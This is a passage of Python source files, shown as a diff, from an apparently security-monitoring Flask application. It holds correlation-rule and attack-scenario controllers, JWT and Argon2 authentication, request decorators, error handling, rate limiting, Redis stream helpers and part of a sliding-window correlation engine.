def get_rule(rule_id: str) -> CorrelationRule:
|
||||
"""
|
||||
Return a single correlation rule by ID
|
||||
"""
|
||||
return CorrelationRule.get_by_id(rule_id)
|
||||
|
||||
|
||||
def create_rule() -> CorrelationRule:
|
||||
"""
|
||||
Create a new correlation rule from validated request data
|
||||
"""
|
||||
data = g.validated
|
||||
rule = CorrelationRule(
|
||||
name=data.name,
|
||||
description=data.description,
|
||||
rule_type=data.rule_type,
|
||||
conditions=data.conditions,
|
||||
severity=data.severity,
|
||||
enabled=data.enabled,
|
||||
mitre_tactic=data.mitre_tactic,
|
||||
mitre_technique=data.mitre_technique,
|
||||
)
|
||||
rule.save() # type: ignore[no-untyped-call]
|
||||
return rule
|
||||
|
||||
|
||||
def update_rule(rule_id: str) -> CorrelationRule:
|
||||
"""
|
||||
Partially update an existing correlation rule
|
||||
"""
|
||||
data = g.validated
|
||||
rule = CorrelationRule.get_by_id(rule_id)
|
||||
updates = data.model_dump(exclude_none=True)
|
||||
for field_name, value in updates.items():
|
||||
setattr(rule, field_name, value)
|
||||
rule.save() # type: ignore[no-untyped-call]
|
||||
return rule
|
||||
|
||||
|
||||
def delete_rule(rule_id: str) -> dict[str, Any]:
|
||||
"""
|
||||
Delete a correlation rule by ID
|
||||
"""
|
||||
rule = CorrelationRule.get_by_id(rule_id)
|
||||
rule.delete() # type: ignore[no-untyped-call]
|
||||
return {"deleted": True}
|
||||
|
||||
|
||||
def test_rule(rule_id: str) -> dict[str, Any]:
|
||||
"""
|
||||
Simulate a rule against historical log events and return matches
|
||||
"""
|
||||
data = g.validated
|
||||
rule = CorrelationRule.get_by_id(rule_id)
|
||||
|
||||
cutoff = datetime.now(UTC).replace(
|
||||
second=0, microsecond=0,
|
||||
)
|
||||
since = cutoff - timedelta(hours=data.hours)
|
||||
|
||||
events = LogEvent.objects(timestamp__gte=since).order_by("timestamp") # type: ignore[no-untyped-call]
|
||||
|
||||
state = CorrelationState()
|
||||
alerts_fired: list[dict[str, Any]] = []
|
||||
|
||||
for event in events:
|
||||
event_data = {
|
||||
"id": str(event.id),
|
||||
"timestamp": str(event.timestamp),
|
||||
"source_type": event.source_type,
|
||||
"severity": event.severity,
|
||||
"event_type": event.event_type,
|
||||
"source_ip": event.source_ip,
|
||||
"dest_ip": event.dest_ip,
|
||||
"hostname": event.hostname,
|
||||
"username": event.username,
|
||||
}
|
||||
|
||||
result = evaluate_rule(rule, event_data, state)
|
||||
if result:
|
||||
alerts_fired.append({
|
||||
"group_value": result.group_value,
|
||||
"matched_event_count": len(result.matched_event_ids),
|
||||
"matched_event_ids": result.matched_event_ids,
|
||||
})
|
||||
|
||||
return {
|
||||
"rule_id": str(rule.id),
|
||||
"rule_name": rule.name,
|
||||
"events_evaluated": events.count(), # type: ignore[no-untyped-call]
|
||||
"alerts_would_fire": len(alerts_fired),
|
||||
"alerts": alerts_fired,
|
||||
}
|
||||
|
|
@ -0,0 +1,75 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
scenario_ctrl.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import g
|
||||
|
||||
from app.models.ScenarioRun import ScenarioRun
|
||||
from app.scenarios.playbook import Playbook
|
||||
from app.scenarios.runner import ScenarioRunner
|
||||
|
||||
|
||||
def list_available() -> list[dict[str, Any]]:
|
||||
"""
|
||||
Return metadata for all available playbook files
|
||||
"""
|
||||
return Playbook.list_available()
|
||||
|
||||
|
||||
def list_running() -> list[Any]:
|
||||
"""
|
||||
Return all active scenario runs
|
||||
"""
|
||||
return ScenarioRun.get_active_runs()
|
||||
|
||||
|
||||
def start_scenario() -> ScenarioRun:
|
||||
"""
|
||||
Load a playbook and start a new scenario thread
|
||||
"""
|
||||
data = g.validated
|
||||
return ScenarioRunner.start(data.filename)
|
||||
|
||||
|
||||
def stop_scenario(run_id: str) -> ScenarioRun:
|
||||
"""
|
||||
Stop an active scenario run
|
||||
"""
|
||||
run = ScenarioRun.get_by_id(run_id)
|
||||
ScenarioRunner.stop(str(run.id))
|
||||
run.reload() # type: ignore[no-untyped-call]
|
||||
return run
|
||||
|
||||
|
||||
def pause_scenario(run_id: str) -> ScenarioRun:
|
||||
"""
|
||||
Pause an active scenario run
|
||||
"""
|
||||
run = ScenarioRun.get_by_id(run_id)
|
||||
ScenarioRunner.pause(str(run.id))
|
||||
run.reload() # type: ignore[no-untyped-call]
|
||||
return run
|
||||
|
||||
|
||||
def resume_scenario(run_id: str) -> ScenarioRun:
|
||||
"""
|
||||
Resume a paused scenario run
|
||||
"""
|
||||
run = ScenarioRun.get_by_id(run_id)
|
||||
ScenarioRunner.resume(str(run.id))
|
||||
run.reload() # type: ignore[no-untyped-call]
|
||||
return run
|
||||
|
||||
|
||||
def set_speed(run_id: str) -> ScenarioRun:
|
||||
"""
|
||||
Adjust the playback speed of an active scenario
|
||||
"""
|
||||
data = g.validated
|
||||
run = ScenarioRun.get_by_id(run_id)
|
||||
ScenarioRunner.set_speed(str(run.id), data.speed)
|
||||
run.reload() # type: ignore[no-untyped-call]
|
||||
return run
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
__init__.py
|
||||
"""
|
||||
|
|
@ -0,0 +1,110 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
auth.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
from datetime import (
|
||||
datetime,
|
||||
timedelta,
|
||||
UTC,
|
||||
)
|
||||
|
||||
import jwt
|
||||
from flask import request
|
||||
from pwdlib import PasswordHash
|
||||
|
||||
from app.config import settings
|
||||
|
||||
|
||||
password_hasher = PasswordHash.recommended()
|
||||
|
||||
DUMMY_HASH = password_hasher.hash("dummy_password_for_timing_attack_prevention")
|
||||
|
||||
|
||||
def hash_password(password: str) -> str:
|
||||
"""
|
||||
Hash a plaintext password with Argon2id
|
||||
"""
|
||||
return password_hasher.hash(password)
|
||||
|
||||
|
||||
def verify_password(
|
||||
plain_password: str,
|
||||
hashed_password: str,
|
||||
) -> tuple[bool,
|
||||
str | None]:
|
||||
"""
|
||||
Verify password and return new hash if Argon2 params are outdated
|
||||
"""
|
||||
try:
|
||||
return password_hasher.verify_and_update(
|
||||
plain_password,
|
||||
hashed_password,
|
||||
)
|
||||
except Exception:
|
||||
return False, None
|
||||
|
||||
|
||||
def verify_password_timing_safe(
|
||||
plain_password: str,
|
||||
hashed_password: str | None,
|
||||
) -> tuple[bool,
|
||||
str | None]:
|
||||
"""
|
||||
Verify with constant-time behavior to prevent user enumeration
|
||||
"""
|
||||
if hashed_password is None:
|
||||
password_hasher.verify(plain_password, DUMMY_HASH)
|
||||
return False, None
|
||||
return verify_password(plain_password, hashed_password)
|
||||
|
||||
|
||||
def create_access_token(
|
||||
user_id: str,
|
||||
extra_claims: dict[str,
|
||||
Any] | None = None,
|
||||
) -> str:
|
||||
"""
|
||||
Create a signed JWT with user_id as subject
|
||||
"""
|
||||
now = datetime.now(UTC)
|
||||
payload: dict[str,
|
||||
Any] = {
|
||||
"sub": user_id,
|
||||
"iat": now,
|
||||
"exp": now + timedelta(
|
||||
hours = settings.JWT_EXPIRATION_HOURS,
|
||||
),
|
||||
}
|
||||
if extra_claims:
|
||||
payload.update(extra_claims)
|
||||
return jwt.encode(
|
||||
payload,
|
||||
settings.SECRET_KEY,
|
||||
algorithm = settings.JWT_ALGORITHM,
|
||||
)
|
||||
|
||||
|
||||
def decode_access_token(token: str) -> dict[str, Any]:
|
||||
"""
|
||||
Decode and validate a JWT returning the payload
|
||||
"""
|
||||
return jwt.decode( # type: ignore[no-any-return]
|
||||
token,
|
||||
settings.SECRET_KEY,
|
||||
algorithms = [settings.JWT_ALGORITHM],
|
||||
options = {"require": ["exp",
|
||||
"sub",
|
||||
"iat"]},
|
||||
)
|
||||
|
||||
|
||||
def extract_bearer_token() -> str | None:
|
||||
"""
|
||||
Extract JWT from Authorization header or query param fallback for SSE
|
||||
"""
|
||||
auth_header = request.headers.get("Authorization", "")
|
||||
if auth_header.startswith("Bearer "):
|
||||
return auth_header[7 :]
|
||||
return request.args.get("token")
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
decorators/__init__.py
|
||||
"""
|
||||
|
||||
from app.core.decorators.endpoint import endpoint
|
||||
from app.core.decorators.response import R
|
||||
from app.core.decorators.schema import S
|
||||
|
||||
|
||||
__all__ = ["R", "S", "endpoint"]
|
||||
|
|
@ -0,0 +1,88 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
endpoint.py
|
||||
"""
|
||||
|
||||
import functools
|
||||
from typing import Any
|
||||
from collections.abc import Callable, Sequence
|
||||
|
||||
import structlog
|
||||
from flask import g, jsonify
|
||||
|
||||
from app.core.errors import AppError, AuthenticationError, ForbiddenError
|
||||
from app.core.auth import decode_access_token, extract_bearer_token
|
||||
from app.models.User import User
|
||||
|
||||
|
||||
logger = structlog.get_logger()
|
||||
|
||||
|
||||
def endpoint(
|
||||
auth_required: bool = True,
|
||||
roles: Sequence[str] | None = None,
|
||||
) -> Callable[..., Any]:
|
||||
"""
|
||||
Outermost decorator that provides auth extraction, role gating,
|
||||
and an error boundary
|
||||
"""
|
||||
effective_auth = auth_required or roles is not None
|
||||
|
||||
def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
|
||||
@functools.wraps(fn)
|
||||
def wrapper(*args: Any, **kwargs: Any) -> Any:
|
||||
try:
|
||||
_resolve_auth(effective_auth)
|
||||
if roles is not None:
|
||||
_enforce_roles(roles)
|
||||
return fn(*args, **kwargs)
|
||||
except AppError:
|
||||
raise
|
||||
except Exception:
|
||||
logger.exception(
|
||||
"unhandled_error",
|
||||
endpoint = fn.__name__,
|
||||
)
|
||||
return jsonify({
|
||||
"error": "InternalServerError",
|
||||
"message": "Internal server error",
|
||||
}), 500
|
||||
|
||||
return wrapper
|
||||
|
||||
return decorator
|
||||
|
||||
|
||||
def _resolve_auth(required: bool) -> None:
|
||||
"""
|
||||
Extract JWT and load user onto flask g or raise if required
|
||||
"""
|
||||
g.current_user = None
|
||||
token = extract_bearer_token()
|
||||
if not token:
|
||||
if required:
|
||||
raise AuthenticationError()
|
||||
return
|
||||
|
||||
try:
|
||||
payload = decode_access_token(token)
|
||||
except Exception as exc:
|
||||
if required:
|
||||
raise AuthenticationError("Invalid or expired token") from exc
|
||||
return
|
||||
|
||||
user = User.get_or_none(payload["sub"])
|
||||
if user is None:
|
||||
if required:
|
||||
raise AuthenticationError("User not found")
|
||||
return
|
||||
g.current_user = user
|
||||
|
||||
|
||||
def _enforce_roles(allowed: Sequence[str]) -> None:
|
||||
"""
|
||||
Verify the authenticated user holds one of the required roles
|
||||
"""
|
||||
user = g.current_user
|
||||
if user is None or user.role not in allowed:
|
||||
raise ForbiddenError()
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
response.py
|
||||
"""
|
||||
|
||||
import functools
|
||||
from typing import Any
|
||||
from collections.abc import Callable
|
||||
|
||||
from flask import Response, jsonify
|
||||
|
||||
from app.core.serialization import auto_serialize
|
||||
|
||||
|
||||
def R(status: int = 200) -> Callable[..., Any]: # noqa: N802
|
||||
"""
|
||||
Auto-serialize the return value into a JSON response
|
||||
"""
|
||||
def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
|
||||
@functools.wraps(fn)
|
||||
def wrapper(*args: Any, **kwargs: Any) -> Any:
|
||||
result = fn(*args, **kwargs)
|
||||
return _build_response(result, status)
|
||||
|
||||
return wrapper
|
||||
|
||||
return decorator
|
||||
|
||||
|
||||
def _build_response(
|
||||
result: Any,
|
||||
default_status: int,
|
||||
) -> Any:
|
||||
"""
|
||||
Dispatch on return type to produce the correct Flask response
|
||||
"""
|
||||
if isinstance(result, Response):
|
||||
return result
|
||||
if isinstance(result, tuple):
|
||||
data, code = result
|
||||
return jsonify(auto_serialize(data)), code
|
||||
return jsonify(auto_serialize(result)), default_status
|
||||
|
|
@ -0,0 +1,78 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
schema.py
|
||||
"""
|
||||
|
||||
import functools
|
||||
from typing import Any, Literal
|
||||
from collections.abc import Callable
|
||||
|
||||
from flask import g, request
|
||||
from pydantic import (
|
||||
BaseModel,
|
||||
ValidationError as PydanticValidationError,
|
||||
)
|
||||
from app.core.errors import ValidationError
|
||||
|
||||
|
||||
def S( # noqa: N802
|
||||
schema_class: type[BaseModel],
|
||||
source: Literal["auto",
|
||||
"query",
|
||||
"body"] = "auto",
|
||||
) -> Callable[..., Any]:
|
||||
"""
|
||||
Validate request data with Pydantic and store on g.validated
|
||||
"""
|
||||
def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
|
||||
@functools.wraps(fn)
|
||||
def wrapper(*args: Any, **kwargs: Any) -> Any:
|
||||
raw = _extract_data(source)
|
||||
try:
|
||||
g.validated = schema_class.model_validate(raw)
|
||||
except PydanticValidationError as exc:
|
||||
raise ValidationError(
|
||||
message = "Validation failed",
|
||||
errors = [
|
||||
{
|
||||
"field": ".".join(str(loc) for loc in e["loc"]),
|
||||
"message": e["msg"],
|
||||
"type": e["type"],
|
||||
} for e in exc.errors()
|
||||
],
|
||||
) from exc
|
||||
return fn(*args, **kwargs)
|
||||
|
||||
return wrapper
|
||||
|
||||
return decorator
|
||||
|
||||
|
||||
def _extract_data(
|
||||
source: Literal["auto",
|
||||
"query",
|
||||
"body"],
|
||||
) -> dict[str,
|
||||
Any]:
|
||||
"""
|
||||
Pull raw data from the request based on the declared source
|
||||
"""
|
||||
if source == "query":
|
||||
return dict(request.args)
|
||||
if source == "body":
|
||||
return _get_body()
|
||||
if source == "auto":
|
||||
if request.method in ("GET", "DELETE", "HEAD", "OPTIONS"):
|
||||
return dict(request.args)
|
||||
return _get_body()
|
||||
return {}
|
||||
|
||||
|
||||
def _get_body() -> dict[str, Any]:
|
||||
"""
|
||||
Extract JSON body from the request or return empty dict
|
||||
"""
|
||||
data = request.get_json(silent = True)
|
||||
if data is None:
|
||||
return {}
|
||||
return data # type: ignore[no-any-return]
|
||||
|
|
@ -0,0 +1,111 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
errors.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
from flask import Flask, jsonify
|
||||
|
||||
|
||||
class AppError(Exception):
|
||||
"""
|
||||
Base application error with HTTP status code
|
||||
"""
|
||||
status_code: int = 500
|
||||
message: str = "Internal server error"
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
message: str | None = None,
|
||||
status_code: int | None = None,
|
||||
) -> None:
|
||||
super().__init__(message or self.message)
|
||||
if message:
|
||||
self.message = message
|
||||
if status_code:
|
||||
self.status_code = status_code
|
||||
|
||||
|
||||
class NotFoundError(AppError):
|
||||
"""
|
||||
Raised when a requested resource does not exist
|
||||
"""
|
||||
status_code = 404
|
||||
message = "Resource not found"
|
||||
|
||||
|
||||
class ValidationError(AppError):
|
||||
"""
|
||||
Raised when input data fails validation
|
||||
"""
|
||||
status_code = 422
|
||||
message = "Validation failed"
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
message: str | None = None,
|
||||
errors: list[dict[str, Any]] | None = None,
|
||||
) -> None:
|
||||
super().__init__(message)
|
||||
self.errors = errors or []
|
||||
|
||||
|
||||
class AuthenticationError(AppError):
|
||||
"""
|
||||
Raised when a request lacks valid credentials
|
||||
"""
|
||||
status_code = 401
|
||||
message = "Authentication required"
|
||||
|
||||
|
||||
class ForbiddenError(AppError):
|
||||
"""
|
||||
Raised when an authenticated user lacks permission
|
||||
"""
|
||||
status_code = 403
|
||||
message = "Insufficient permissions"
|
||||
|
||||
|
||||
class ConflictError(AppError):
|
||||
"""
|
||||
Raised when a resource already exists or conflicts
|
||||
"""
|
||||
status_code = 409
|
||||
message = "Resource already exists"
|
||||
|
||||
|
||||
def register_error_handlers(app: Flask) -> None:
|
||||
"""
|
||||
Attach JSON error handlers to the Flask app
|
||||
"""
|
||||
@app.errorhandler(AppError)
|
||||
def handle_app_error(error: AppError): # type: ignore[no-untyped-def]
|
||||
payload: dict[str, Any] = {
|
||||
"error": type(error).__name__,
|
||||
"message": error.message,
|
||||
}
|
||||
if isinstance(error, ValidationError) and error.errors:
|
||||
payload["details"] = error.errors
|
||||
return jsonify(payload), error.status_code
|
||||
|
||||
@app.errorhandler(404)
|
||||
def handle_404(error): # type: ignore[no-untyped-def]
|
||||
return jsonify({
|
||||
"error": "NotFound",
|
||||
"message": "Endpoint not found",
|
||||
}), 404
|
||||
|
||||
@app.errorhandler(405)
|
||||
def handle_405(error): # type: ignore[no-untyped-def]
|
||||
return jsonify({
|
||||
"error": "MethodNotAllowed",
|
||||
"message": "Method not allowed",
|
||||
}), 405
|
||||
|
||||
@app.errorhandler(500)
|
||||
def handle_500(error): # type: ignore[no-untyped-def]
|
||||
return jsonify({
|
||||
"error": "InternalServerError",
|
||||
"message": "Internal server error",
|
||||
}), 500
|
||||
|
|
@ -0,0 +1,41 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
rate_limiting.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
|
||||
import structlog
|
||||
from flask import Flask, jsonify
|
||||
from flask_limiter import Limiter
|
||||
from flask_limiter.util import get_remote_address
|
||||
|
||||
from app.config import settings
|
||||
|
||||
|
||||
logger = structlog.get_logger()
|
||||
|
||||
limiter = Limiter(
|
||||
key_func=get_remote_address,
|
||||
storage_uri=settings.REDIS_URL,
|
||||
strategy=settings.RATELIMIT_STRATEGY,
|
||||
default_limits=[settings.RATELIMIT_DEFAULT],
|
||||
headers_enabled=settings.RATELIMIT_HEADERS_ENABLED,
|
||||
swallow_errors=settings.RATELIMIT_SWALLOW_ERRORS,
|
||||
)
|
||||
|
||||
|
||||
def init_limiter(app: Flask) -> None:
|
||||
limiter.init_app(app)
|
||||
|
||||
@app.errorhandler(429)
|
||||
def handle_rate_limit(e: Any) -> tuple[Any, int]:
|
||||
logger.warning("rate_limit_exceeded", description=str(e.description))
|
||||
response = jsonify({
|
||||
"error": "RateLimitExceeded",
|
||||
"message": "Too many requests",
|
||||
"retry_after": getattr(e, "retry_after", None),
|
||||
})
|
||||
if hasattr(e, "retry_after") and e.retry_after:
|
||||
response.headers["Retry-After"] = str(e.retry_after)
|
||||
return response, 429
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
serialization.py
|
||||
"""
|
||||
|
||||
from typing import Any
|
||||
from datetime import datetime
|
||||
|
||||
from bson import ObjectId
|
||||
from mongoengine import (
|
||||
Document,
|
||||
EmbeddedDocument,
|
||||
QuerySet,
|
||||
)
|
||||
from pydantic import BaseModel
|
||||
|
||||
|
||||
def serialize_value(value: Any) -> Any:
|
||||
"""
|
||||
Convert a single value to a JSON safe representation
|
||||
"""
|
||||
if value is None:
|
||||
return None
|
||||
if isinstance(value, ObjectId):
|
||||
return str(value)
|
||||
if isinstance(value, datetime):
|
||||
return value.isoformat()
|
||||
if isinstance(value, EmbeddedDocument):
|
||||
return serialize_document(value)
|
||||
if isinstance(value, list):
|
||||
return [serialize_value(v) for v in value]
|
||||
if isinstance(value, dict):
|
||||
return {k: serialize_value(v) for k, v in value.items()}
|
||||
return value
|
||||
|
||||
|
||||
def serialize_document(
|
||||
doc: Document | EmbeddedDocument,
|
||||
) -> dict[str,
|
||||
Any]:
|
||||
"""
|
||||
Recursively convert a MongoEngine document to a JSON safe dict
|
||||
"""
|
||||
result: dict[str, Any] = {}
|
||||
for field_name in doc._fields:
|
||||
value = getattr(doc, field_name, None)
|
||||
if field_name == "id" and isinstance(value, ObjectId):
|
||||
result["id"] = str(value)
|
||||
continue
|
||||
result[field_name] = serialize_value(value)
|
||||
return result
|
||||
|
||||
|
||||
def auto_serialize(obj: Any) -> Any:
|
||||
"""
|
||||
Dispatch serialization based on the object type
|
||||
"""
|
||||
if obj is None:
|
||||
return None
|
||||
if isinstance(obj, Document):
|
||||
return serialize_document(obj)
|
||||
if isinstance(obj, QuerySet):
|
||||
return [serialize_document(doc) for doc in obj]
|
||||
if isinstance(obj, list):
|
||||
return [auto_serialize(item) for item in obj]
|
||||
if isinstance(obj, BaseModel):
|
||||
return obj.model_dump(mode = "json")
|
||||
if isinstance(obj, dict):
|
||||
return {k: auto_serialize(v) for k, v in obj.items()}
|
||||
return obj
|
||||
|
|
@ -0,0 +1,126 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
streaming.py
|
||||
"""
|
||||
|
||||
import contextlib
|
||||
import json
|
||||
import time
|
||||
from collections.abc import Generator
|
||||
from typing import Any
|
||||
|
||||
from app.config import settings
|
||||
from app.extensions import get_redis
|
||||
|
||||
|
||||
def publish_event(
|
||||
stream_key: str,
|
||||
data: dict[str,
|
||||
Any],
|
||||
maxlen: int | None = None,
|
||||
) -> str:
|
||||
"""
|
||||
Publish a JSON event to a Redis Stream via XADD
|
||||
"""
|
||||
r = get_redis()
|
||||
return r.xadd( # type: ignore[no-any-return]
|
||||
stream_key,
|
||||
{"payload": json.dumps(data,
|
||||
default = str)},
|
||||
maxlen = maxlen or settings.STREAM_MAXLEN,
|
||||
approximate = True,
|
||||
)
|
||||
|
||||
|
||||
def ensure_consumer_group(
|
||||
stream_key: str,
|
||||
group_name: str | None = None,
|
||||
) -> None:
|
||||
"""
|
||||
Create a consumer group on a stream if it does not already exist
|
||||
"""
|
||||
r = get_redis()
|
||||
group = group_name or settings.CONSUMER_GROUP
|
||||
with contextlib.suppress(Exception):
|
||||
r.xgroup_create(
|
||||
stream_key,
|
||||
group,
|
||||
id = "0",
|
||||
mkstream = True,
|
||||
)
|
||||
|
||||
|
||||
def read_stream(
|
||||
stream_key: str,
|
||||
group_name: str | None = None,
|
||||
consumer_name: str | None = None,
|
||||
count: int | None = None,
|
||||
block: int | None = None,
|
||||
) -> list[tuple[str,
|
||||
dict[str,
|
||||
Any]]]:
|
||||
"""
|
||||
Read pending messages from a consumer group via XREADGROUP
|
||||
"""
|
||||
r = get_redis()
|
||||
group = group_name or settings.CONSUMER_GROUP
|
||||
consumer = consumer_name or settings.CONSUMER_NAME
|
||||
results = r.xreadgroup(
|
||||
group,
|
||||
consumer,
|
||||
{stream_key: ">"},
|
||||
count = count or settings.STREAM_READ_COUNT,
|
||||
block = block or settings.STREAM_BLOCK_MS,
|
||||
)
|
||||
messages: list[tuple[str, dict[str, Any]]] = []
|
||||
if results:
|
||||
for _stream, entries in results:
|
||||
for msg_id, fields in entries:
|
||||
payload = json.loads(fields.get("payload", "{}"))
|
||||
messages.append((msg_id, payload))
|
||||
return messages
|
||||
|
||||
|
||||
def ack_message(
|
||||
stream_key: str,
|
||||
message_id: str,
|
||||
group_name: str | None = None,
|
||||
) -> None:
|
||||
"""
|
||||
Acknowledge a processed message in the consumer group
|
||||
"""
|
||||
r = get_redis()
|
||||
group = group_name or settings.CONSUMER_GROUP
|
||||
r.xack(stream_key, group, message_id) # type: ignore[no-untyped-call]
|
||||
|
||||
|
||||
def sse_generator(
|
||||
stream_key: str,
|
||||
event_type: str = "message",
|
||||
) -> Generator[str]:
|
||||
"""
|
||||
Yield SSE-formatted events by tailing a Redis Stream with XREAD
|
||||
"""
|
||||
r = get_redis()
|
||||
last_id = "$"
|
||||
while True:
|
||||
try:
|
||||
results = r.xread(
|
||||
{stream_key: last_id},
|
||||
count = settings.SSE_READ_COUNT,
|
||||
block = settings.SSE_BLOCK_MS,
|
||||
)
|
||||
if results:
|
||||
for _stream, entries in results:
|
||||
for msg_id, fields in entries:
|
||||
last_id = msg_id
|
||||
payload = fields.get("payload", "{}")
|
||||
yield (f"event: {event_type}\n"
|
||||
f"data: {payload}\n\n")
|
||||
else:
|
||||
yield ": keepalive\n\n"
|
||||
except GeneratorExit:
|
||||
return
|
||||
except Exception:
|
||||
time.sleep(1)
|
||||
yield ": reconnecting\n\n"
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
__init__.py
|
||||
"""
|
||||
|
|
@ -0,0 +1,377 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
correlation.py
|
||||
"""
|
||||
|
||||
import time
|
||||
import threading
|
||||
from dataclasses import dataclass
|
||||
from typing import Any
|
||||
|
||||
import structlog
|
||||
|
||||
from app.config import settings
|
||||
from app.core.streaming import (
|
||||
read_stream,
|
||||
ensure_consumer_group,
|
||||
ack_message,
|
||||
)
|
||||
from app.models.Alert import Alert
|
||||
from app.models.CorrelationRule import CorrelationRule, RuleType
|
||||
|
||||
logger = structlog.get_logger()
|
||||
|
||||
|
||||
@dataclass
|
||||
class WindowEntry:
|
||||
"""
|
||||
A single event recorded in a correlation sliding window
|
||||
"""
|
||||
timestamp: float
|
||||
event_id: str
|
||||
event_data: dict[str, Any]
|
||||
step_index: int | None = None
|
||||
|
||||
|
||||
@dataclass
|
||||
class EvaluationResult:
|
||||
"""
|
||||
Outcome of a rule that fired with matched event references
|
||||
"""
|
||||
matched_event_ids: list[str]
|
||||
group_value: str
|
||||
|
||||
|
||||
class CorrelationState:
|
||||
"""
|
||||
Thread-safe in-memory sliding window state for correlation tracking
|
||||
"""
|
||||
def __init__(self) -> None:
|
||||
self._windows: dict[str, dict[str, list[WindowEntry]]] = {}
|
||||
self._cooldowns: dict[str, dict[str, float]] = {}
|
||||
self._lock = threading.Lock()
|
||||
|
||||
def record_event(
|
||||
self,
|
||||
rule_id: str,
|
||||
group_key: str,
|
||||
event_id: str,
|
||||
event_data: dict[str, Any],
|
||||
step_index: int | None = None,
|
||||
) -> None:
|
||||
"""
|
||||
Add an event to the sliding window for a rule and group key
|
||||
"""
|
||||
with self._lock:
|
||||
windows = self._windows.setdefault(rule_id, {})
|
||||
entries = windows.setdefault(group_key, [])
|
||||
entries.append(WindowEntry(
|
||||
timestamp=time.time(),
|
||||
event_id=event_id,
|
||||
event_data=event_data,
|
||||
step_index=step_index,
|
||||
))
|
||||
|
||||
def get_window(
|
||||
self,
|
||||
rule_id: str,
|
||||
group_key: str,
|
||||
window_seconds: int,
|
||||
) -> list[WindowEntry]:
|
||||
"""
|
||||
Return non-expired entries for a rule and group key
|
||||
"""
|
||||
cutoff = time.time() - window_seconds
|
||||
with self._lock:
|
||||
entries = self._windows.get(rule_id, {}).get(group_key, [])
|
||||
valid = [e for e in entries if e.timestamp >= cutoff]
|
||||
if rule_id in self._windows and group_key in self._windows[rule_id]:
|
||||
self._windows[rule_id][group_key] = valid
|
||||
return valid
|
||||
|
||||
def is_cooling_down(self, rule_id: str, group_key: str) -> bool:
|
||||
"""
|
||||
Check if a rule recently fired for this group key
|
||||
"""
|
||||
with self._lock:
|
||||
last_fired = self._cooldowns.get(rule_id, {}).get(group_key, 0.0)
|
||||
return (time.time() - last_fired) < settings.CORRELATION_COOLDOWN_SECONDS
|
||||
|
||||
def mark_fired(self, rule_id: str, group_key: str) -> None:
|
||||
"""
|
||||
Record the fire time for cooldown tracking
|
||||
"""
|
||||
with self._lock:
|
||||
cooldowns = self._cooldowns.setdefault(rule_id, {})
|
||||
cooldowns[group_key] = time.time()
|
||||
|
||||
def clear(self) -> None:
|
||||
"""
|
||||
Reset all state for testing or shutdown
|
||||
"""
|
||||
with self._lock:
|
||||
self._windows.clear()
|
||||
self._cooldowns.clear()
|
||||
|
||||
|
||||
def _matches_filter(event_data: dict[str, Any], event_filter: dict[str, Any]) -> bool:
|
||||
"""
|
||||
Check if an event satisfies all key-value pairs in the filter
|
||||
"""
|
||||
return all(
|
||||
event_data.get(k) == v
|
||||
for k, v in event_filter.items()
|
||||
)
|
||||
|
||||
|
||||
def evaluate_rule(
|
||||
rule: CorrelationRule,
|
||||
event_data: dict[str, Any],
|
||||
state: CorrelationState,
|
||||
) -> EvaluationResult | None:
|
||||
"""
|
||||
Evaluate a single rule against an event and return a result if fired
|
||||
"""
|
||||
rule_id = str(rule.id)
|
||||
conditions = rule.conditions
|
||||
group_by = conditions.get("group_by", "")
|
||||
group_key = event_data.get(group_by, "")
|
||||
|
||||
if not group_key:
|
||||
return None
|
||||
|
||||
if state.is_cooling_down(rule_id, group_key):
|
||||
return None
|
||||
|
||||
evaluators = {
|
||||
RuleType.THRESHOLD: _evaluate_threshold,
|
||||
RuleType.SEQUENCE: _evaluate_sequence,
|
||||
RuleType.AGGREGATION: _evaluate_aggregation,
|
||||
}
|
||||
evaluator = evaluators.get(rule.rule_type)
|
||||
if evaluator is None:
|
||||
return None
|
||||
|
||||
return evaluator(rule, event_data, state, rule_id, group_key)
|
||||
|
||||
|
||||
def _evaluate_threshold(
|
||||
rule: CorrelationRule,
|
||||
event_data: dict[str, Any],
|
||||
state: CorrelationState,
|
||||
rule_id: str,
|
||||
group_key: str,
|
||||
) -> EvaluationResult | None:
|
||||
"""
|
||||
Fire when event count exceeds threshold within window for a group
|
||||
"""
|
||||
conditions = rule.conditions
|
||||
event_filter = conditions.get("event_filter", {})
|
||||
|
||||
if not _matches_filter(event_data, event_filter):
|
||||
return None
|
||||
|
||||
event_id = event_data.get("id", "")
|
||||
state.record_event(rule_id, group_key, event_id, event_data)
|
||||
|
||||
window_seconds = conditions.get("window_seconds", 0)
|
||||
threshold = conditions.get("threshold", 0)
|
||||
entries = state.get_window(rule_id, group_key, window_seconds)
|
||||
|
||||
if len(entries) >= threshold:
|
||||
state.mark_fired(rule_id, group_key)
|
||||
return EvaluationResult(
|
||||
matched_event_ids=[e.event_id for e in entries],
|
||||
group_value=group_key,
|
||||
)
|
||||
return None
|
||||
|
||||
|
||||
def _evaluate_sequence(
|
||||
rule: CorrelationRule,
|
||||
event_data: dict[str, Any],
|
||||
state: CorrelationState,
|
